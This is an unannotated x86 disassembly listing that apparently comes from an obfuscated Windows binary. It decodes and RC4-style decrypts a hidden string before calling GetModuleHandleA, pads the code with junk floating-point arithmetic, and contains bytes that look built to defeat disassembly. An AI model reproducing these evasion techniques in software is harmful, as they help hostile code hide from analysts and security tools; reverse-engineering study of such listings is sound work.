mov eax, dword [ebp - 0x3710]
add eax, 1
mov dword [ebp - 0x3710], eax
mov ecx, dword [ebp - 0x3710]
shl ecx, 1
mov dword [ebp - 0x3ef4], ecx
mov edx, dword [ebp - 0x3ef4]
shl edx, 0
add edx, dword [ebp - 0x4104]
movzx eax, byte [edx]
mov dword [ebp - 0x3dcc], eax
mov dword [ebp - 0x3dd0], 0xa7
mov ecx, dword [ebp - 0x3710]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3ef8], ecx
mov edx, dword [ebp - 0x3ef8]
shl edx, 0
add edx, dword [ebp - 0x4104]
movzx eax, byte [edx]
mov dword [ebp - 0x3dd4], eax
mov dword [ebp - 0x3dd8], 0xc0
mov ecx, dword [ebp - 0x3dcc]
sub ecx, dword [ebp - 0x3dd0]
mov dword [ebp - 0x3ddc], ecx
mov edx, dword [ebp - 0x3dd4]
sub edx, dword [ebp - 0x3dd8]
mov dword [ebp - 0x3de0], edx
mov eax, dword [ebp - 0x3ddc]
shl eax, 4
mov dword [ebp - 0x3efc], eax
mov ecx, dword [ebp - 0x3de0]
mov dword [ebp - 0x3f00], ecx
mov edx, dword [ebp - 0x3efc]
or edx, dword [ebp - 0x3f00]
mov dword [ebp - 0x3f04], edx
mov al, byte [ebp - 0x3f04]
mov byte [ebp - 0x3640], al
movzx ecx, byte [ebp - 0x35f5]
shl ecx, 0
lea edx, [ebp - 0x1d10]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3660], al
movzx ecx, byte [ebp - 0x3586]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x35a8]
add ecx, eax
mov byte [ebp - 0x35a8], cl
mov dl, byte [ebp - 0x3586]
add dl, 1
mov byte [ebp - 0x3586], dl
movzx eax, byte [ebp - 0x35a8]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [ebp - 0x35f5]
shl edx, 0
lea esi, [ebp - 0x1d10]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35a9]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [ebp - 0x35a8]
shl eax, 0
lea esi, [ebp - 0x1d10]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3586]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [ebp - 0x35a9]
shl ecx, 0
lea esi, [ebp - 0x1d10]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3586]
shl eax, 0
lea ecx, [ebp - 0x1d10]
mov dl, byte [ebp - 0x3660]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3660]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3662]
add eax, edx
mov byte [ebp - 0x3662], al
movzx ecx, byte [ebp - 0x3640]
movzx edx, byte [ebp - 0x35a8]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3586]
shl eax, 0
lea esi, [ebp - 0x1d10]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x35a9]
shl eax, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35f5]
shl edx, 0
lea esi, [ebp - 0x1d10]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3662]
shl edx, 0
lea esi, [ebp - 0x1d10]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x35a9], cl
mov cl, byte [ebp - 0x3640]
mov byte [ebp - 0x35f5], cl
mov dl, byte [ebp - 0x35a9]
mov byte [ebp - 0x375c], dl
cmp dword [ebp - 0x3710], 0
jbe 0x47b82a
mov eax, dword [ebp - 0x3710]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x54]
mov dl, byte [ebp - 0x375c]
mov byte [eax + ecx], dl
jmp 0x47b55b
mov eax, dword [ebp - 0x39c0]
add eax, 1
mov dword [ebp - 0x39c0], eax
mov ecx, dword [ebp - 0x3710]
add ecx, 1
mov dword [ebp - 0x3710], ecx
mov edx, dword [ebp - 0x39c0]
add edx, 1
mov dword [ebp - 0x39c0], edx
mov eax, dword [ebp - 0x3710]
shl eax, 1
mov dword [ebp - 0x3ef4], eax
mov ecx, dword [ebp - 0x3ef4]
shl ecx, 0
add ecx, dword [ebp - 0x4104]
movzx edx, byte [ecx]
mov dword [ebp - 0x3dcc], edx
mov dword [ebp - 0x3dd0], 0xa7
mov eax, dword [ebp - 0x3710]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3ef8], eax
mov ecx, dword [ebp - 0x3ef8]
shl ecx, 0
add ecx, dword [ebp - 0x4104]
movzx edx, byte [ecx]
mov dword [ebp - 0x3dd4], edx
mov dword [ebp - 0x3dd8], 0xc0
mov eax, dword [ebp - 0x3dcc]
sub eax, dword [ebp - 0x3dd0]
mov dword [ebp - 0x3ddc], eax
mov ecx, dword [ebp - 0x3dd4]
sub ecx, dword [ebp - 0x3dd8]
mov dword [ebp - 0x3de0], ecx
mov edx, dword [ebp - 0x3ddc]
shl edx, 4
mov dword [ebp - 0x3efc], edx
mov eax, dword [ebp - 0x3de0]
mov dword [ebp - 0x3f00], eax
mov ecx, dword [ebp - 0x3efc]
or ecx, dword [ebp - 0x3f00]
mov dword [ebp - 0x3f04], ecx
mov dl, byte [ebp - 0x3f04]
mov byte [ebp - 0x3640], dl
movzx eax, byte [ebp - 0x35f5]
shl eax, 0
lea ecx, [ebp - 0x1d10]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3660], dl
movzx eax, byte [ebp - 0x3586]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x35a8]
add eax, edx
mov byte [ebp - 0x35a8], al
mov cl, byte [ebp - 0x3586]
add cl, 1
mov byte [ebp - 0x3586], cl
movzx edx, byte [ebp - 0x35a8]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [ebp - 0x35f5]
shl ecx, 0
lea esi, [ebp - 0x1d10]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x35a9]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [ebp - 0x35a8]
shl edx, 0
lea esi, [ebp - 0x1d10]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3586]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [ebp - 0x35a9]
shl eax, 0
lea esi, [ebp - 0x1d10]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3586]
shl edx, 0
lea eax, [ebp - 0x1d10]
mov cl, byte [ebp - 0x3660]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3660]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3662]
add edx, ecx
mov byte [ebp - 0x3662], dl
movzx eax, byte [ebp - 0x3640]
movzx ecx, byte [ebp - 0x35a8]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3586]
shl edx, 0
lea esi, [ebp - 0x1d10]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x35a9]
shl edx, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x35f5]
shl ecx, 0
lea esi, [ebp - 0x1d10]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3662]
shl ecx, 0
lea esi, [ebp - 0x1d10]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x35a9], al
mov al, byte [ebp - 0x3640]
mov byte [ebp - 0x35f5], al
mov cl, byte [ebp - 0x35a9]
mov byte [ebp - 0x375c], cl
cmp dword [ebp - 0x3710], 0
jbe 0x47bafc
mov edx, dword [ebp - 0x3710]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x54]
mov cl, byte [ebp - 0x375c]
mov byte [edx + eax], cl
mov edx, 1
imul eax, edx, 0xa
mov dword [ebp - 0x5f84], eax
cmp dword [ebp - 0x5f84], 0xb
jae 0x47bb15
jmp 0x47bb1a
call fcn.009b6d77
lea ecx, [ebp - 0x54]
add ecx, dword [ebp - 0x5f84]
mov byte [ecx], 0
jmp 0x47bb76
mov dword [ebp - 0x3710], 0
jmp 0x47bb43
mov edx, dword [ebp - 0x3710]
add edx, 1
mov dword [ebp - 0x3710], edx
cmp dword [ebp - 0x3710], 0xb
jae 0x47bb76
mov eax, dword [ebp - 0x3710]
mov dword [ebp - 0x5f80], eax
cmp dword [ebp - 0x5f80], 0xb
jae 0x47bb63
jmp 0x47bb68
call fcn.009b6d77
lea ecx, [ebp - 0x54]
add ecx, dword [ebp - 0x5f80]
mov byte [ecx], 0
jmp 0x47bb34
lea edx, [ebp - 0x54]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x37e4], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x56b0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x53a8], xmm0
mov dword [ebp - 0x37c4], 0
mov dword [ebp - 0x4e00], 0
mov dword [ebp - 0x58d0], 0
mov dword [ebp - 0x540c], 1
mov dword [ebp - 0x4880], 0
mov dword [ebp - 0x5d44], 0
mov dword [ebp - 0x3f08], 0
mov dword [ebp - 0x46c4], 0
mov dword [ebp - 0x45bc], 0
mov dword [ebp - 0x45c0], 0
mov dword [ebp - 0x46c0], 0
mov dword [ebp - 0x45c4], 0
mov dword [ebp - 0x45c8], 0
mov dword [ebp - 0x45cc], 0
mov dword [ebp - 0x45d0], 0
mov dword [ebp - 0x46bc], 0
mov dword [ebp - 0x46b8], 0
mov dword [ebp - 0x46b4], 0
mov dword [ebp - 0x4e04], 0
mov byte [ebp - 0x360b], 0
mov byte [ebp - 0x363d], 0
mov byte [ebp - 0x375b], 0
mov byte [ebp - 0x363f], 0
mov byte [ebp - 0x369a], 0
mov byte [ebp - 0x3779], 0
mov byte [ebp - 0x41a5], 0
mov byte [ebp - 0x375a], 0
mov byte [ebp - 0x374d], 0
mov byte [ebp - 0x37ee], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x56b0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x53a8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x53a8], xmm0
jmp 0x47bcdb
movsd xmm0, qword [ebp - 0x53a8]
addsd xmm0, qword [0x9d9060]
movsd qword [ebp - 0x53a8], xmm0
movsd xmm0, qword [0x9db200]
comisd xmm0, xmmword [ebp - 0x53a8]
jbe 0x47bd8c
movsd xmm0, qword [0x9da360]
mulsd xmm0, qword [ebp - 0x53a8]
mulsd xmm0, qword [ebp - 0x53a8]
movsd xmm1, qword [ebp - 0x53a8]
mulsd xmm1, qword [ebp - 0x53a8]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d9ed0]
mulsd xmm1, qword [ebp - 0x53a8]
mulsd xmm1, qword [ebp - 0x53a8]
addsd xmm1, qword [0x9da060]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x56b0]
movsd qword [ebp - 0x56b0], xmm0
movsd xmm0, qword [ebp - 0x56b0]
comisd xmm0, xmmword [0x9da1f8]
jbe 0x47bd87
movsd xmm0, qword [0x9d9d28]
mulsd xmm0, qword [ebp - 0x53a8]
movsd xmm1, qword [ebp - 0x56b0]
adc byte [ebp - 0x56b0], cl
subsd xmm1, xmm0
movsd qword [ebp - 0x56b0], xmm1
jmp 0x47bcc3
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x56b0]
jbe 0x47bdd5
in eax, dx
xlatb
jecxz 0x47bd75
ljmp 0xeede:0xe9d0eade
mov dword [ebp - 0x61c8], 0x47bd99
mov dword [ebp - 0x61cc], 0x47bdb1
mov eax, dword [ebp - 0x61c8]
mov dword [ebp - 0x4884], eax
mov ecx, dword [ebp - 0x61cc]
mov dword [ebp - 0x61d0], ecx
mov byte [ebp - 0x41a5], 0x23
mov dword [ebp - 0x37c4], 0
mov dword [ebp - 0x4e00], 0
mov dword [ebp - 0x37c4], 0
jmp 0x47be37
mov edx, dword [ebp - 0x37c4]
add edx, 1
mov dword [ebp - 0x37c4], edx
cmp dword [ebp - 0x37c4], 0x100
jae 0x47be5d
mov eax, dword [ebp - 0x37c4]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
mov dl, byte [ebp - 0x37c4]
mov byte [eax + ecx], dl
jmp 0x47be28
mov dword [ebp - 0x4e00], 0
mov byte [ebp - 0x3779], 0
mov dword [ebp - 0x37c4], 0xff
jmp 0x47be89
mov eax, dword [ebp - 0x37c4]
sub eax, 1
mov dword [ebp - 0x37c4], eax
cmp dword [ebp - 0x37c4], 0
jbe 0x47c14f
mov dword [ebp - 0x58d0], 0
mov dword [ebp - 0x540c], 1
mov dword [ebp - 0x4880], 0
mov ecx, dword [ebp - 0x540c]
cmp ecx, dword [ebp - 0x37c4]
jae 0x47bed5
mov edx, dword [ebp - 0x540c]
shl edx, 1
add edx, 1
mov dword [ebp - 0x540c], edx
jmp 0x47beb4
mov eax, dword [ebp - 0x4e00]
mov dword [ebp - 0x5f7c], eax
cmp dword [ebp - 0x5f7c], 3
ja case.default.0x47bef4
mov ecx, dword [ebp - 0x5f7c]
jmp dword [ecx*4 + 0x4f071c]
movzx edx, byte [ebp - 0x3779]
shl edx, 0
lea eax, [ebp - 0x2ff8]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x56b0]
call fcn.009b6e60
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3779], bl
jmp 0x47bffb
movzx ecx, byte [ebp - 0x3779]
shl ecx, 0
lea edx, [ebp - 0x2ff8]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x56b0]
call fcn.009b6e60
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3779], bl
jmp 0x47bffb
movzx eax, byte [ebp - 0x3779]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x56b0]
call fcn.009b6e60
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3779], bl
jmp 0x47bffb
movzx edx, byte [ebp - 0x3779]
shl edx, 0
lea eax, [ebp - 0x2ff8]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x56b0]
call fcn.009b6e60
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3779], bl
jmp 0x47bffb
movzx ecx, byte [ebp - 0x3779]
shl ecx, 0
lea edx, [ebp - 0x2ff8]
movzx eax, byte [ecx + edx]
mov ecx, dword [ebp - 0x4e00]
sub ecx, 4
shl ecx, 0
add ecx, dword [ebp - 0x61d0]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x3779], al
mov eax, dword [ebp - 0x4e00]
add eax, 1
mov dword [ebp - 0x4e00], eax
movzx ecx, byte [ebp - 0x41a5]
cmp dword [ebp - 0x4e00], ecx
jb 0x47c039
mov dword [ebp - 0x4e00], 0
movzx edx, byte [ebp - 0x41a5]
movzx eax, byte [ebp - 0x3779]
add eax, edx
mov byte [ebp - 0x3779], al
movzx ecx, byte [ebp - 0x3779]
and ecx, dword [ebp - 0x540c]
mov dword [ebp - 0x4880], ecx
mov edx, dword [ebp - 0x58d0]
add edx, 1
mov dword [ebp - 0x58d0], edx
cmp dword [ebp - 0x58d0], 0xb
jbe 0x47c078
mov eax, dword [ebp - 0x4880]
xor edx, edx
div dword [ebp - 0x37c4]
mov dword [ebp - 0x4880], edx
mov eax, dword [ebp - 0x4880]
cmp eax, dword [ebp - 0x37c4]
ja 0x47bed5
mov ecx, dword [ebp - 0x37c4]
cmp ecx, dword [ebp - 0x4880]
je 0x47c14a
mov edx, dword [ebp - 0x37c4]
shl edx, 0
lea eax, [ebp - 0x2ff8]
mov ecx, dword [ebp - 0x4880]
shl ecx, 0
lea esi, [ebp - 0x2ff8]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x37c4]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x4880]
shl edx, 0
lea eax, [ebp - 0x2ff8]
mov ecx, dword [ebp - 0x37c4]
shl ecx, 0
lea esi, [ebp - 0x2ff8]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x4880]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x37c4]
shl edx, 0
lea eax, [ebp - 0x2ff8]
mov ecx, dword [ebp - 0x4880]
shl ecx, 0
lea esi, [ebp - 0x2ff8]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x37c4]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
mov byte [eax + ecx], dl
jmp 0x47be7a
mov edx, 1
shl edx, 0
lea eax, [ebp - 0x2ff8]
mov cl, byte [edx + eax]
mov byte [ebp - 0x360b], cl
movsd xmm0, qword [0x9dae68]
movsd qword [ebp - 0x49c4], xmm0
movsd xmm0, qword [0x9dac98]
movsd qword [ebp - 0x4780], xmm0
movsd xmm0, qword [0x9daa68]
movsd qword [ebp - 0x4acc], xmm0
movsd xmm0, qword [0x9da858]
movsd qword [ebp - 0x4da0], xmm0
movsd xmm0, qword [0x9da618]
movsd qword [ebp - 0x5198], xmm0
movsd xmm0, qword [0x9da3e8]
movsd qword [ebp - 0x494c], xmm0
movsd xmm0, qword [ebp - 0x4da0]
subsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x4da0], xmm0
movsd xmm0, qword [ebp - 0x4acc]
addsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x4acc], xmm0
movsd xmm0, qword [ebp - 0x49c4]
mulsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x49c4], xmm0
movsd xmm0, qword [ebp - 0x49c4]
subsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x49c4], xmm0
movsd xmm0, qword [ebp - 0x4acc]
mulsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x4acc], xmm0
movsd xmm0, qword [ebp - 0x4acc]
subsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x4acc], xmm0
movsd xmm0, qword [ebp - 0x49c4]
comisd xmm0, xmmword [ebp - 0x494c]
jbe 0x47c318
movsd xmm0, qword [ebp - 0x49c4]
addsd xmm0, qword [ebp - 0x4acc]
movsd qword [ebp - 0x49c4], xmm0
movsd xmm0, qword [ebp - 0x4da0]
addsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x4da0], xmm0
movsd xmm0, qword [ebp - 0x5198]
mulsd xmm0, qword [ebp - 0x49c4]
movsd qword [ebp - 0x5198], xmm0
movsd xmm0, qword [ebp - 0x4acc]
addsd xmm0, qword [ebp - 0x5198]
movsd qword [ebp - 0x4acc], xmm0
movsd xmm0, qword [ebp - 0x4da0]
addsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x4da0], xmm0
mov edx, 1
imul eax, edx, 3
lea ecx, [ebp - 0x2ff8]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x363d], dl
movsd xmm0, qword [ebp - 0x4da0]
subsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x4da0], xmm0
jmp 0x47c573
movsd xmm0, qword [ebp - 0x4da0]
subsd xmm0, qword [ebp - 0x5198]
movsd qword [ebp - 0x4da0], xmm0
movsd xmm0, qword [ebp - 0x49c4]
addsd xmm0, qword [ebp - 0x4780]
movsd qword [ebp - 0x49c4], xmm0
movsd xmm0, qword [ebp - 0x49c4]
divsd xmm0, qword [ebp - 0x4780]
movsd qword [ebp - 0x49c4], xmm0
movsd xmm0, qword [ebp - 0x4780]
addsd xmm0, qword [ebp - 0x4acc]
movsd qword [ebp - 0x4780], xmm0
movsd xmm0, qword [ebp - 0x4780]
addsd xmm0, qword [ebp - 0x4acc]
movsd qword [ebp - 0x4780], xmm0
movsd xmm0, qword [ebp - 0x5198]
subsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x5198], xmm0
movsd xmm0, qword [ebp - 0x4acc]
mulsd xmm0, qword [ebp - 0x4da0]
movsd qword [ebp - 0x4acc], xmm0
movsd xmm0, qword [ebp - 0x5198]
divsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x5198], xmm0
movsd xmm0, qword [ebp - 0x4780]
addsd xmm0, qword [ebp - 0x4acc]
movsd qword [ebp - 0x4780], xmm0
movsd xmm0, qword [ebp - 0x494c]
subsd xmm0, qword [ebp - 0x49c4]
movsd qword [ebp - 0x494c], xmm0
movsd xmm0, qword [ebp - 0x4780]
addsd xmm0, qword [ebp - 0x4acc]
movsd qword [ebp - 0x4780], xmm0
movsd xmm0, qword [ebp - 0x49c4]
mulsd xmm0, qword [ebp - 0x4780]
movsd qword [ebp - 0x49c4], xmm0
movsd xmm0, qword [ebp - 0x4da0]
comisd xmm0, xmmword [ebp - 0x494c]
jbe 0x47c4e3
movsd xmm0, qword [ebp - 0x494c]
subsd xmm0, qword [ebp - 0x4780]
movsd qword [ebp - 0x494c], xmm0
movsd xmm0, qword [ebp - 0x49c4]
mulsd xmm0, qword [ebp - 0x4acc]
movsd qword [ebp - 0x49c4], xmm0
movsd xmm0, qword [ebp - 0x4780]
subsd xmm0, qword [ebp - 0x4da0]
movsd qword [ebp - 0x4780], xmm0
movsd xmm0, qword [ebp - 0x5198]
subsd xmm0, qword [ebp - 0x49c4]
movsd qword [ebp - 0x5198], xmm0
movsd xmm0, qword [ebp - 0x494c]
divsd xmm0, qword [ebp - 0x4780]
movsd qword [ebp - 0x494c], xmm0
movsd xmm0, qword [ebp - 0x4da0]
addsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x4da0], xmm0
jmp 0x47c573
movsd xmm0, qword [ebp - 0x4780]
divsd xmm0, qword [ebp - 0x4acc]
movsd qword [ebp - 0x4780], xmm0
movsd xmm0, qword [ebp - 0x4780]
subsd xmm0, qword [ebp - 0x4acc]
movsd qword [ebp - 0x4780], xmm0
movsd xmm0, qword [ebp - 0x4da0]
mulsd xmm0, qword [ebp - 0x5198]
movsd qword [ebp - 0x4da0], xmm0
movsd xmm0, qword [ebp - 0x49c4]
addsd xmm0, qword [ebp - 0x4780]
movsd qword [ebp - 0x49c4], xmm0
movsd xmm0, qword [ebp - 0x4780]
divsd xmm0, qword [ebp - 0x4acc]
movsd qword [ebp - 0x4780], xmm0
movsd xmm0, qword [ebp - 0x5198]
divsd xmm0, qword [ebp - 0x494c]
movsd qword [ebp - 0x5198], xmm0
mov eax, 1
imul ecx, eax, 5
lea edx, [ebp - 0x2ff8]
mov al, byte [ecx + edx]
mov byte [ebp - 0x375b], al
mov ecx, 1
imul edx, ecx, 7
lea eax, [ebp - 0x2ff8]
mov cl, byte [edx + eax]
mov byte [ebp - 0x363f], cl
movzx edx, byte [ebp - 0x3779]
shl edx, 0
lea eax, [ebp - 0x2ff8]
mov cl, byte [edx + eax]
mov byte [ebp - 0x369a], cl
mov dword [ebp - 0x5d44], 0x18
cmp dword [ebp - 0x5d44], 2
jle 0x47d620
mov edx, dword [ebp - 0x5d44]
and edx, 1
jne 0x47d620
mov dword [ebp - 0x37c4], 0
mov dword [ebp - 0x3f08], 0
mov eax, dword [ebp - 0x3f08]
add eax, 1
mov dword [ebp - 0x3f08], eax
mov dword [ebp - 0x46c4], 0
mov ecx, dword [ebp - 0x37c4]
shl ecx, 1
mov dword [ebp - 0x46c4], ecx
mov dword [ebp - 0x45bc], 0
mov edx, dword [ebp - 0x46c4]
shl edx, 0
add edx, dword [ebp - 0x4884]
movzx eax, byte [edx]
add eax, dword [ebp - 0x45bc]
mov dword [ebp - 0x45bc], eax
mov dword [ebp - 0x45c0], 0
mov ecx, dword [ebp - 0x45c0]
add ecx, 0xe2
mov dword [ebp - 0x45c0], ecx
mov dword [ebp - 0x46c0], 0
mov edx, dword [ebp - 0x37c4]
shl edx, 1
add edx, 1
mov dword [ebp - 0x46c0], edx
mov dword [ebp - 0x45c4], 0
mov eax, dword [ebp - 0x46c0]
shl eax, 0
add eax, dword [ebp - 0x4884]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x45c4]
mov dword [ebp - 0x45c4], ecx
mov dword [ebp - 0x45c8], 0
mov edx, dword [ebp - 0x45c8]
add edx, 0xd0
mov dword [ebp - 0x45c8], edx
mov dword [ebp - 0x45cc], 0
mov eax, dword [ebp - 0x45bc]
sub eax, dword [ebp - 0x45c0]
add eax, dword [ebp - 0x45cc]
mov dword [ebp - 0x45cc], eax
mov dword [ebp - 0x45d0], 0
mov ecx, dword [ebp - 0x45c4]
sub ecx, dword [ebp - 0x45c8]
add ecx, dword [ebp - 0x45d0]
mov dword [ebp - 0x45d0], ecx
mov dword [ebp - 0x46bc], 0
mov edx, dword [ebp - 0x45cc]
shl edx, 4
mov dword [ebp - 0x46bc], edx
movss xmm0, dword [0x9db8c0]
movss dword [ebp - 0x4f64], xmm0
movss xmm0, dword [0x9db730]
movss dword [ebp - 0x46cc], xmm0
movss xmm0, dword [0x9db4e0]
movss dword [ebp - 0x46c8], xmm0
movss xmm0, dword [ebp - 0x4f64]
mulss xmm0, dword [ebp - 0x46c8]
movss dword [ebp - 0x4f64], xmm0
movss xmm0, dword [ebp - 0x46cc]
subss xmm0, dword [ebp - 0x46c8]
movss dword [ebp - 0x46cc], xmm0
movss xmm0, dword [ebp - 0x46cc]
addss xmm0, dword [ebp - 0x46c8]
movss dword [ebp - 0x46cc], xmm0
movss xmm0, dword [ebp - 0x46c8]
comiss xmm0, dword [ebp - 0x4f64]
jbe 0x47c7ee
movss xmm0, dword [ebp - 0x46cc]
mulss xmm0, dword [ebp - 0x4f64]
movss dword [ebp - 0x46cc], xmm0
movss xmm0, dword [ebp - 0x46c8]
subss xmm0, dword [ebp - 0x46cc]
movss dword [ebp - 0x46c8], xmm0
movss xmm0, dword [ebp - 0x4f64]
divss xmm0, dword [ebp - 0x46c8]
movss dword [ebp - 0x4f64], xmm0
jmp 0x47c840
movss xmm0, dword [ebp - 0x46cc]
subss xmm0, dword [ebp - 0x46c8]
movss dword [ebp - 0x46cc], xmm0
mov dword [ebp - 0x46b8], 0
movss xmm0, dword [ebp - 0x46cc]
addss xmm0, dword [ebp - 0x46c8]
movss dword [ebp - 0x46cc], xmm0
movss xmm0, dword [ebp - 0x46c8]
addss xmm0, dword [ebp - 0x4f64]
movss dword [ebp - 0x46c8], xmm0
mov eax, dword [ebp - 0x45d0]
mov dword [ebp - 0x46b8], eax
mov dword [ebp - 0x46b4], 0
mov ecx, dword [ebp - 0x46bc]
or ecx, dword [ebp - 0x46b8]
mov dword [ebp - 0x46b4], ecx
mov byte [ebp - 0x375a], 0
mov dl, byte [ebp - 0x46b4]
mov byte [ebp - 0x375a], dl
mov byte [ebp - 0x374d], 0
movzx eax, byte [ebp - 0x369a]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x374d], dl
movzx eax, byte [ebp - 0x360b]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x363d]
add eax, edx
mov byte [ebp - 0x363d], al
mov cl, byte [ebp - 0x360b]
add cl, 1
mov byte [ebp - 0x360b], cl
movzx edx, byte [ebp - 0x363d]
shl edx, 0
lea eax, [ebp - 0x2ff8]
movzx ecx, byte [ebp - 0x369a]
shl ecx, 0
lea esi, [ebp - 0x2ff8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x363f]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
movzx edx, byte [ebp - 0x363d]
shl edx, 0
lea esi, [ebp - 0x2ff8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x360b]
shl ecx, 0
lea edx, [ebp - 0x2ff8]
movzx eax, byte [ebp - 0x363f]
shl eax, 0
lea esi, [ebp - 0x2ff8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x360b]
shl edx, 0
lea eax, [ebp - 0x2ff8]
mov cl, byte [ebp - 0x374d]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x374d]
shl edx, 0
lea eax, [ebp - 0x2ff8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x375b]
add edx, ecx
mov byte [ebp - 0x375b], dl
movzx eax, byte [ebp - 0x375a]
